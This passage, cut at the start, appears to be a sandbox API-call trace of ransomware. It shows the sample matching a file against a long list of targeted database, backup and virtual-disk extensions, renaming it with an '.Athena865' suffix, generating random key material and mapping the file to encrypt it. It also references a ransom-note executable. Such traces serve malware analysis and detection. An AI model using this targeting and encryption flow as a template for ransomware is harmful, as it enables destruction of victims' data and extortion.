lpString2="Wordcnv.dll" | out: lpString1="Wordcnv.dll") returned="Wordcnv.dll" [0088.641] lstrlenW (lpString="Wordcnv.dll") returned 11 [0088.641] lstrlenW (lpString="Athena865") returned 9 [0088.641] lstrcmpiW (lpString1="rdcnv.dll", lpString2="Athena865") returned 1 [0088.641] lstrlenW (lpString=".dll") returned 4 [0088.641] lstrcmpiW (lpString1="Wordcnv.dll", lpString2=".dll") returned 1 [0088.641] lstrlenW (lpString=".lnk") returned 4 [0088.641] lstrcmpiW (lpString1="Wordcnv.dll", lpString2=".lnk") returned 1 [0088.641] lstrlenW (lpString=".ini") returned 4 [0088.641] lstrcmpiW (lpString1="Wordcnv.dll", lpString2=".ini") returned 1 [0088.641] lstrlenW (lpString=".sys") returned 4 [0088.641] lstrcmpiW (lpString1="Wordcnv.dll", lpString2=".sys") returned 1 [0088.641] lstrlenW (lpString="Wordcnv.dll") returned 11 [0088.641] lstrlenW (lpString="bak") returned 3 [0088.641] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0088.642] lstrlenW (lpString="ba_") returned 3 [0088.642] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0088.642] lstrlenW (lpString="dbb") returned 3 [0088.642] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0088.642] lstrlenW (lpString="vmdk") returned 4 [0088.642] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0088.642] lstrlenW (lpString="rar") returned 3 [0088.642] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0088.642] lstrlenW (lpString="zip") returned 3 [0088.642] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0088.642] lstrlenW (lpString="tgz") returned 3 [0088.642] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0088.642] lstrlenW (lpString="vbox") returned 4 [0088.642] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0088.642] lstrlenW (lpString="vdi") returned 3 [0088.642] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0088.642] lstrlenW (lpString="vhd") returned 3 [0088.642] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0088.642] lstrlenW (lpString="vhdx") returned 4 [0088.642] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0088.642] lstrlenW (lpString="avhd") returned 4 [0088.642] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0088.642] lstrlenW (lpString="db") returned 2 [0088.642] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0088.642] lstrlenW (lpString="db2") returned 3 [0088.642] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0088.642] lstrlenW (lpString="db3") returned 3 [0088.642] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0088.642] lstrlenW (lpString="dbf") returned 3 [0088.642] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0088.643] lstrlenW (lpString="mdf") returned 3 [0088.643] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0088.643] lstrlenW (lpString="mdb") returned 3 [0088.643] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0088.643] lstrlenW (lpString="sql") returned 3 [0088.643] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0088.643] lstrlenW (lpString="sqlite") returned 6 [0088.643] lstrcmpiW (lpString1="nv.dll", lpString2="sqlite") returned -1 [0088.643] lstrlenW (lpString="sqlite3") returned 7 [0088.643] lstrcmpiW (lpString1="cnv.dll", lpString2="sqlite3") returned -1 [0088.643] lstrlenW (lpString="sqlitedb") returned 8 [0088.643] lstrcmpiW (lpString1="dcnv.dll", lpString2="sqlitedb") returned -1 [0088.643] lstrlenW (lpString="xml") returned 3 [0088.643] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0088.643] lstrlenW (lpString="$er") returned 3 [0088.643] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0088.643] lstrlenW (lpString="4dd") returned 3 [0088.643] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0088.643] lstrlenW (lpString="4dl") returned 3 [0088.643] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0088.643] lstrlenW (lpString="^^^") returned 3 [0088.643] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0088.643] lstrlenW (lpString="abs") returned 3 [0088.643] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0088.643] lstrlenW (lpString="abx") returned 3 [0088.643] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0088.643] lstrlenW (lpString="accdb") returned 5 [0088.643] lstrcmpiW (lpString1="v.dll", lpString2="accdb") returned 1 [0088.643] lstrlenW (lpString="accdc") returned 5 [0088.643] lstrcmpiW (lpString1="v.dll", lpString2="accdc") returned 1 [0088.644] lstrlenW (lpString="accde") returned 5 [0088.644] lstrcmpiW (lpString1="v.dll", lpString2="accde") returned 1 [0088.644] lstrlenW (lpString="accdr") returned 5 [0088.644] lstrcmpiW (lpString1="v.dll", lpString2="accdr") returned 1 [0088.644] lstrlenW (lpString="accdt") returned 5 [0088.644] lstrcmpiW (lpString1="v.dll", lpString2="accdt") returned 1 [0088.644] lstrlenW (lpString="accdw") returned 5 [0088.644] lstrcmpiW (lpString1="v.dll", lpString2="accdw") returned 1 [0088.644] lstrlenW (lpString="accft") returned 5 [0088.644] lstrcmpiW (lpString1="v.dll", lpString2="accft") returned 1 [0088.644] lstrlenW (lpString="adb") returned 3 [0088.644] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0088.644] lstrlenW (lpString="adb") returned 3 [0088.644] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0088.644] lstrlenW (lpString="ade") returned 3 [0088.644] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0088.644] lstrlenW (lpString="adf") returned 3 [0088.644] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0088.644] lstrlenW (lpString="adn") returned 3 [0088.644] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0088.644] lstrlenW (lpString="adp") returned 3 [0088.644] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0088.644] lstrlenW (lpString="alf") returned 3 [0088.644] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0088.644] lstrlenW (lpString="ask") returned 3 [0088.644] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0088.644] lstrlenW (lpString="btr") returned 3 [0088.644] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0088.644] lstrlenW (lpString="cat") returned 3 [0088.644] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0088.644] lstrlenW (lpString="cdb") returned 3 [0088.645] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0088.645] lstrlenW (lpString="ckp") returned 3 [0088.645] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0088.645] lstrlenW (lpString="cma") returned 3 [0088.645] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0088.645] lstrlenW (lpString="cpd") returned 3 [0088.645] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0088.645] lstrlenW (lpString="dacpac") returned 6 [0088.645] lstrcmpiW (lpString1="nv.dll", lpString2="dacpac") returned 1 [0088.645] lstrlenW (lpString="dad") returned 3 [0088.645] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0088.645] lstrlenW (lpString="dadiagrams") returned 10 [0088.645] lstrcmpiW (lpString1="ordcnv.dll", lpString2="dadiagrams") returned 1 [0088.645] lstrlenW (lpString="daschema") returned 8 [0088.645] lstrcmpiW (lpString1="dcnv.dll", lpString2="daschema") returned 1 [0088.645] lstrlenW (lpString="db-journal") returned 10 [0088.645] lstrcmpiW (lpString1="ordcnv.dll", lpString2="db-journal") returned 1 [0088.645] lstrlenW (lpString="db-shm") returned 6 [0088.645] lstrcmpiW (lpString1="nv.dll", lpString2="db-shm") returned 1 [0088.645] lstrlenW (lpString="db-wal") returned 6 [0088.645] lstrcmpiW (lpString1="nv.dll", lpString2="db-wal") returned 1 [0088.645] lstrlenW (lpString="dbc") returned 3 [0088.645] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0088.645] lstrlenW (lpString="dbs") returned 3 [0088.645] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0088.645] lstrlenW (lpString="dbt") returned 3 [0088.645] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0088.645] lstrlenW (lpString="dbv") returned 3 [0088.645] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0088.645] lstrlenW (lpString="dbx") returned 3 [0088.646] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0088.646] lstrlenW (lpString="dcb") returned 3 [0088.646] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0088.646] lstrlenW (lpString="dct") returned 3 [0088.646] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0088.646] lstrlenW (lpString="dcx") returned 3 [0088.646] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0088.646] lstrlenW (lpString="ddl") returned 3 [0088.646] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0088.646] lstrlenW (lpString="dlis") returned 4 [0088.646] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0088.646] lstrlenW (lpString="dp1") returned 3 [0088.646] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0088.646] lstrlenW (lpString="dqy") returned 3 [0088.646] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0088.646] lstrlenW (lpString="dsk") returned 3 [0088.646] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0088.646] lstrlenW (lpString="dsn") returned 3 [0088.646] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0088.646] lstrlenW (lpString="dtsx") returned 4 [0088.646] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0088.646] lstrlenW (lpString="dxl") returned 3 [0088.646] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0088.646] lstrlenW (lpString="eco") returned 3 [0088.646] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0088.646] lstrlenW (lpString="ecx") returned 3 [0088.646] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0088.646] lstrlenW (lpString="edb") returned 3 [0088.646] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0088.646] lstrlenW (lpString="epim") returned 4 [0088.647] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0088.647] lstrlenW (lpString="fcd") returned 3 [0088.647] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0088.647] lstrlenW (lpString="fdb") returned 3 [0088.647] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0088.647] lstrlenW (lpString="fic") returned 3 [0088.647] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0088.647] lstrlenW (lpString="flexolibrary") returned 12 [0088.647] lstrlenW (lpString="fm5") returned 3 [0088.647] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0088.647] lstrlenW (lpString="fmp") returned 3 [0088.647] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0088.647] lstrlenW (lpString="fmp12") returned 5 [0088.647] lstrcmpiW (lpString1="v.dll", lpString2="fmp12") returned 1 [0088.647] lstrlenW (lpString="fmpsl") returned 5 [0088.647] lstrcmpiW (lpString1="v.dll", lpString2="fmpsl") returned 1 [0088.647] lstrlenW (lpString="fol") returned 3 [0088.647] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0088.647] lstrlenW (lpString="fp3") returned 3 [0088.647] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0088.647] lstrlenW (lpString="fp4") returned 3 [0088.647] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0088.647] lstrlenW (lpString="fp5") returned 3 [0088.647] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0088.647] lstrlenW (lpString="fp7") returned 3 [0088.647] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0088.647] lstrlenW (lpString="fpt") returned 3 [0088.647] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0088.647] lstrlenW (lpString="frm") returned 3 [0088.647] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0088.648] lstrlenW (lpString="gdb") returned 3 [0088.648] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0088.648] lstrlenW (lpString="gdb") returned 3 [0088.648] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0088.648] lstrlenW (lpString="grdb") returned 4 [0088.648] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0088.648] lstrlenW (lpString="gwi") returned 3 [0088.648] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0088.648] lstrlenW (lpString="hdb") returned 3 [0088.648] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0088.648] lstrlenW (lpString="his") returned 3 [0088.648] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0088.648] lstrlenW (lpString="ib") returned 2 [0088.648] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0088.648] lstrlenW (lpString="idb") returned 3 [0088.648] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0088.648] lstrlenW (lpString="ihx") returned 3 [0088.648] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0088.648] lstrlenW (lpString="itdb") returned 4 [0088.648] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0088.648] lstrlenW (lpString="itw") returned 3 [0088.648] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0088.648] lstrlenW (lpString="jet") returned 3 [0088.648] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0088.648] lstrlenW (lpString="jtx") returned 3 [0088.648] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0088.648] lstrlenW (lpString="kdb") returned 3 [0088.648] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0088.648] lstrlenW (lpString="kexi") returned 4 [0088.648] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0088.648] lstrlenW (lpString="kexic") returned 5 [0088.649] lstrcmpiW (lpString1="v.dll", lpString2="kexic") returned 1 [0088.649] lstrlenW (lpString="kexis") returned 5 [0088.649] lstrcmpiW (lpString1="v.dll", lpString2="kexis") returned 1 [0088.649] lstrlenW (lpString="lgc") returned 3 [0088.649] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0088.649] lstrlenW (lpString="lwx") returned 3 [0088.649] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0088.649] lstrlenW (lpString="maf") returned 3 [0088.649] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0088.649] lstrlenW (lpString="maq") returned 3 [0088.649] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0088.649] lstrlenW (lpString="mar") returned 3 [0088.649] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0088.649] lstrlenW (lpString="marshal") returned 7 [0088.649] lstrcmpiW (lpString1="cnv.dll", lpString2="marshal") returned -1 [0088.649] lstrlenW (lpString="mas") returned 3 [0088.649] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0088.649] lstrlenW (lpString="mav") returned 3 [0088.649] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0088.649] lstrlenW (lpString="maw") returned 3 [0088.649] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0088.649] lstrlenW (lpString="mdbhtml") returned 7 [0088.649] lstrcmpiW (lpString1="cnv.dll", lpString2="mdbhtml") returned -1 [0088.649] lstrlenW (lpString="mdn") returned 3 [0088.649] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0088.649] lstrlenW (lpString="mdt") returned 3 [0088.649] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0088.649] lstrlenW (lpString="mfd") returned 3 [0088.649] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0088.649] lstrlenW (lpString="mpd") returned 3 [0088.650] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0088.650] lstrlenW (lpString="mrg") returned 3 [0088.650] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0088.650] lstrlenW (lpString="mud") returned 3 [0088.650] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0088.650] lstrlenW (lpString="mwb") returned 3 [0088.650] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0088.650] lstrlenW (lpString="myd") returned 3 [0088.650] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0088.650] lstrlenW (lpString="ndf") returned 3 [0088.650] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0088.650] lstrlenW (lpString="nnt") returned 3 [0088.650] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0088.650] lstrlenW (lpString="nrmlib") returned 6 [0088.650] lstrcmpiW (lpString1="nv.dll", lpString2="nrmlib") returned 1 [0088.650] lstrlenW (lpString="ns2") returned 3 [0088.650] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0088.650] lstrlenW (lpString="ns3") returned 3 [0088.650] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0088.650] lstrlenW (lpString="ns4") returned 3 [0088.650] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0088.650] lstrlenW (lpString="nsf") returned 3 [0088.650] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0088.650] lstrlenW (lpString="nv") returned 2 [0088.650] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0088.650] lstrlenW (lpString="nv2") returned 3 [0088.650] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0088.650] lstrlenW (lpString="nwdb") returned 4 [0088.650] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0088.651] lstrlenW (lpString="nyf") returned 3 [0088.651] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0088.651] lstrlenW (lpString="odb") returned 3 [0088.651] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0088.651] lstrlenW (lpString="odb") returned 3 [0088.651] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0088.651] lstrlenW (lpString="oqy") returned 3 [0088.651] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0088.651] lstrlenW (lpString="ora") returned 3 [0088.651] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0088.651] lstrlenW (lpString="orx") returned 3 [0088.651] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0088.651] lstrlenW (lpString="owc") returned 3 [0088.651] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0088.651] lstrlenW (lpString="p96") returned 3 [0088.651] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0088.651] lstrlenW (lpString="p97") returned 3 [0088.651] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0088.651] lstrlenW (lpString="pan") returned 3 [0088.651] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0088.651] lstrlenW (lpString="pdb") returned 3 [0088.651] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0088.651] lstrlenW (lpString="pdm") returned 3 [0088.651] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0088.651] lstrlenW (lpString="pnz") returned 3 [0088.651] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0088.651] lstrlenW (lpString="qry") returned 3 [0088.651] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0088.651] lstrlenW (lpString="qvd") returned 3 [0088.651] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0088.651] lstrlenW (lpString="rbf") returned 3 [0088.652] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0088.652] lstrlenW (lpString="rctd") returned 4 [0088.652] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0088.652] lstrlenW (lpString="rod") returned 3 [0088.652] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0088.652] lstrlenW (lpString="rodx") returned 4 [0088.652] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0088.652] lstrlenW (lpString="rpd") returned 3 [0088.652] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0088.652] lstrlenW (lpString="rsd") returned 3 [0088.652] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0088.652] lstrlenW (lpString="sas7bdat") returned 8 [0088.652] lstrcmpiW (lpString1="dcnv.dll", lpString2="sas7bdat") returned -1 [0088.652] lstrlenW (lpString="sbf") returned 3 [0088.652] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0088.652] lstrlenW (lpString="scx") returned 3 [0088.652] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0088.652] lstrlenW (lpString="sdb") returned 3 [0088.652] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0088.652] lstrlenW (lpString="sdc") returned 3 [0088.652] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0088.652] lstrlenW (lpString="sdf") returned 3 [0088.652] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0088.652] lstrlenW (lpString="sis") returned 3 [0088.652] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0088.652] lstrlenW (lpString="spq") returned 3 [0088.652] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0088.652] lstrlenW (lpString="te") returned 2 [0088.652] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0088.652] lstrlenW (lpString="teacher") returned 7 [0088.653] lstrcmpiW (lpString1="cnv.dll", lpString2="teacher") returned -1 [0088.653] lstrlenW (lpString="tmd") returned 3 [0088.653] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0088.653] lstrlenW (lpString="tps") returned 3 [0088.653] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0088.653] lstrlenW (lpString="trc") returned 3 [0088.653] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0088.653] lstrlenW (lpString="trc") returned 3 [0088.653] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0088.653] lstrlenW (lpString="trm") returned 3 [0088.653] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0088.653] lstrlenW (lpString="udb") returned 3 [0088.653] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0088.653] lstrlenW (lpString="udl") returned 3 [0088.653] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0088.653] lstrlenW (lpString="usr") returned 3 [0088.653] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0088.653] lstrlenW (lpString="v12") returned 3 [0088.653] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0088.653] lstrlenW (lpString="vis") returned 3 [0088.653] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0088.653] lstrlenW (lpString="vpd") returned 3 [0088.653] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0088.653] lstrlenW (lpString="vvv") returned 3 [0088.653] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0088.653] lstrlenW (lpString="wdb") returned 3 [0088.653] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0088.653] lstrlenW (lpString="wmdb") returned 4 [0088.653] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0088.653] lstrlenW (lpString="wrk") returned 3 [0088.654] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0088.654] lstrlenW (lpString="xdb") returned 3 [0088.654] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0088.654] lstrlenW (lpString="xld") returned 3 [0088.654] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0088.654] lstrlenW (lpString="xmlff") returned 5 [0088.654] lstrcmpiW (lpString1="v.dll", lpString2="xmlff") returned -1 [0088.654] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Wordcnv.dll.Athena865") returned 64 [0088.654] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Wordcnv.dll" (normalized: "c:\\program files\\microsoft office\\office14\\wordcnv.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Wordcnv.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\wordcnv.dll.athena865"), dwFlags=0x1) returned 1 [0088.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Wordcnv.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\wordcnv.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0088.655] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6810456) returned 1 [0088.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0088.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0088.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0088.656] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0088.657] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0088.657] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0088.657] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x67ee60, lpName=0x0) returned 0x17c [0088.658] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x600000, dwNumberOfBytesToMap=0x7ee60) returned 0x2d50000 [0088.680] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0088.844] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0088.862] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0088.863] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0088.863] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0088.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0088.863] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0088.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0088.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0088.863] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0088.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0088.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0088.864] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0088.864] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0088.864] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0088.864] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0088.868] CloseHandle (hObject=0x17c) returned 1 [0088.868] CloseHandle (hObject=0x154) returned 1 [0088.868] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0088.868] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0088.868] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0088.877] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1653d000, ftCreationTime.dwHighDateTime=0x1cacd36, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1653d000, ftLastWriteTime.dwHighDateTime=0x1cacd36, nFileSizeHigh=0x0, nFileSizeLow=0x7560, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Wordcnvpxy.cnv", cAlternateFileName="WORDCN~1.CNV")) returned 1 [0088.877] lstrcmpiW (lpString1="Wordcnvpxy.cnv", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0088.877] lstrcmpiW (lpString1="Wordcnvpxy.cnv", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 